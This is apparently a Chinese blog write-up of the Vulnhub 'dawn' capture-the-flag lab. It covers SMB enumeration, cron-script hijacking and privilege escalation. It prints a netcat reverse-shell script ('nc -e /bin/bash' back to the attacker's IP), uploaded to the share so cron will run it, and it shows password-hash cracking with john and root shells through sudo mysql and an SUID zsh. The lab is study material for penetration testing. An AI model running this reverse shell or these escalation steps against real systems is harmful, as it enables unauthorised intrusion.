Vulnhub打靶记录:dawn
相关信息
kali:10.0.0.9/24
靶机:10.0.0.10/24
靶机下载:https://download.vulnhub.com/sunset/dawn.zip
目标:root
权限 + 1
个flag
难度:中
未提及的相关知识点,命令和代码等等可以查看我其他三个blog:
-
渗透相关知识补充 - CC-HL - 博客园 (cnblogs.com)
当然我也只是记录了我认为有必要的。
文字思路
全流程思路:
- 主机发现 端口扫描
- 信息收集:对于
smb
协议的了解 - SAMBA漏洞
- 任意文件上传:一般来说没有什么大的漏洞,除非可以和日志包含等漏洞结合。
- 日志信息泄露:这两个步骤是关键对日志文件的解读非常关键
- 调度任务
- 提权方法1 提权方法2 潜在提权方法
下意识的操作
139
端口和445
端口一般是相关开放的,而且一般这两个端口都是或多或少具有漏洞的,所以在公网上并不常见。
主要的知识点
- 日志的详细阅读
- 特定权限配置的查找
具体流程
信息搜集
-
主机发现,信息收集,版本确认。
139,445
一般为伴生端口会配合开放,且为window
上常用的协议smb
服务。3306
为一个MariaDB
的MySQL
服务。什么是smb协议通过
nmap
脚本获取的信息,可以发现smb
是允许guest
登陆的,同时还扫描出了靶机的名字和系统时间。 -
由于目标靶机上开放了
smb
的端口,通过smbclient -L \\\\10.0.0.10
获取靶机可访问的共享文件目录。最好使用\\\\
来进行来进行连接,其中有两个\
表示转译,密码输入直接回车即可,应为可以使用guest
登陆。其中print$,IPC$
是打印机和默认的共享服务可以忽略,重点关注ITDEPT
。smbclient解释 -
通过
smbclient
登陆靶机后,键入help
查看可以使用的命令,查看内部命令有哪些。可以发现
ITDEPT
居然是没有任何文件的,同时尝试../
来跳出共享目录的操作也无法行得通。 -
通过
help
知道支持什么命令,进行简单的文件上载和下载测试是可以成功的进行。可惜的是即使上载的恶意的命令和代码也是无法成功的运行的,就smb
而已是无法让恶意文件执行的。 -
访问开放的
80
端口服务,也是非常的网页并没有什么搜获,也没有robots.txt
文件。所以进行目录爬取就显得非常必要了。 -
dirsearch -u http://10.0.0.10
,重点关注得到的logs
路径。 -
访问该路径,进行路径内文件的阅读。重点关注
management.log
文件-
文件解读:通过阅读这个日志文件,不难发现靶机会循环定时的执行在
/ITDEPT
目录下面的两个shell
脚本:web-control,product-control
。可以大胆的猜测这个目录和靶机开放的smb
是同一个文件路径,唯一比较奇怪的是smb
开放的/ITDEPT
目录里并没有这两个脚本文件,所以不妨尝试上载恶意的同名的脚本,从而让靶机定期的执行我们上载的同名恶意脚本。 -
通过过滤可以进一步发现靶机系统确实定期得到执行上述的两个脚本。
-
突破边界
-
构造恶意的同名脚本,并进行
put
上传等待同名的恶意脚本web-control,product-control
,等待脚本被定期执行成功反弹shell
。顺便使用python
升级一下shell
。脚本内容:
上载的命令就是
put
,命名为web-control,product-control
其中一个即可#!/bin/sh nc -e /bin/bash 10.0.0.9 4444
信息收集
-
dawn
主目录下的相关的文件,重点关注.bash_history,.mysql_history
这个两个文件。 -
.bash_history
文件内容的相关内容:-
使用过
echo
命令,应该具有灵敏度发现这是个加密文件。通过kali
的shadow
的文件格式就可以有所联想,这应该是个加密的密文,而且格式应该为:$加密方式$盐$密文。 -
dawn
可以使用sudo
,而且开启了mysql
服务 -
shadow
文件的格式
-
-
将刚刚的密文写入
hash
文件中,然后进行john
爆破得到密码为:onii-chan29
。
提权方式一
-
由于
dawn
可以使用sudo
,尝试进行sudo -l
。不难发现dawn
可以不需要输入密码sudo
使用mysql
的。 -
使用暴力破解获得密码尝试进行
sudo
登陆mysql
,然后利用mysql
执行系统命令来进行提权,可以发现是可以直接提权成功的,来获取flag
。- 虽然可以sudo mysql不需要密码,但是登陆
root
的密码还是需要的。 - 复用获得的密码,发现就是
dawn
用户的sudo
密码。 - 由于是通过
sudo
连接的mysql
,所以\!
执行的命令具有root
权限。 - 通过
mysql
打开shell
发现就是root
用户的权限,进而成功的拿下靶机,查看flag
。
- 虽然可以sudo mysql不需要密码,但是登陆
提权方法二
-
还是在浏览
dawn
的.bash_history
是发现,dawn
在su
为root
后又再次退出到低权限的shell
,然后使用了zsh
这个shell
。 -
进行
suid
权限配置错误的程序或文件的检索,不难从结果中发现一个非常巧合的或者明显的漏洞:zsh
居然是root
的suid
。 -
所以直接使用
zsh
开启一个新的shell
,虽然依然显示是个普通用户。但是也不难发现打开的zsh
是具有root
权限的,可以查看flag
。
相关工具/命令
命令
smbclient
-
what? 返回
提供了一个类似于FTP客户端的界面,允许用户在Linux系统上访问和管理远程Windows共享文件夹
-
具体使用
用到的
\
都需要使用\
进行转译smbclient -L \\\\10.0.0.10
:-L
:列出目标打开的共享文件有哪些。
smbclient \\\\10.0.0.10\\PATH
:连接到靶机的共享文件,类似于ftp
的连接。
复盘/相关知识
复盘
潜在提权的可能性
-
当提取为
root
用户后,进入到另一个用户的家目录下浏览他的.bash_history
文件,不难发现一个具有提示性的命令。很明显如果su
为root
用户是需要root
密码的,通过这个英文的解读,不难发现这个长字符串非常可能就是root
的密码。this is a really secure password noone is going to ever find
:这不就是此地无银三百两吗?
-
尝试通过普通用户
su
为root
用户时输入这个密码,发现果真成功的登陆。表明这个长字符串就是root
的密码 -
之所以说是潜在的方法是因为,在突破边界的时候拿到的是
dawn
的shell
。既然作者给了root
密码的获取方法。表明肯定还有其他突破边界的方法,而这种方法拿到到的shell
肯定为ganimedes
用户的。
重要
smb协议
-
what? 返回
协议是一种在计算机网络上进行文件共享、打印机共享和通信的网络协议。它最初由微软开发,用于在局域网(LAN)中的计算机之间共享文件、打印机和其他资源。
一般运行在
window
上,同时运行在139,445
端口上。具有明显的漏洞性质,在公网上几乎不开放,多在内网渗透中遇见。 -
渗透思路
- 由于
smb
是window
的原生协议,具有较强的封闭性。linux
在实现该协议的时候更多的是参照window
的思想进行实现,导致这个命令在linux
中并不那么完备,存在漏洞的几率较大。
- 由于
了解
unc路径
它是一种用于在计算机网络中标识资源的方法,特别是用于标识共享文件夹或打印机的位置。UNC路径由两个部分组成:计算机的名称(或IP地址)和共享资源的名称。它的格式通常\computername\sharedfolder,其中"computername"是共享资源所在计算机的名称或IP地址,"sharedfolder"是共享资源的名称。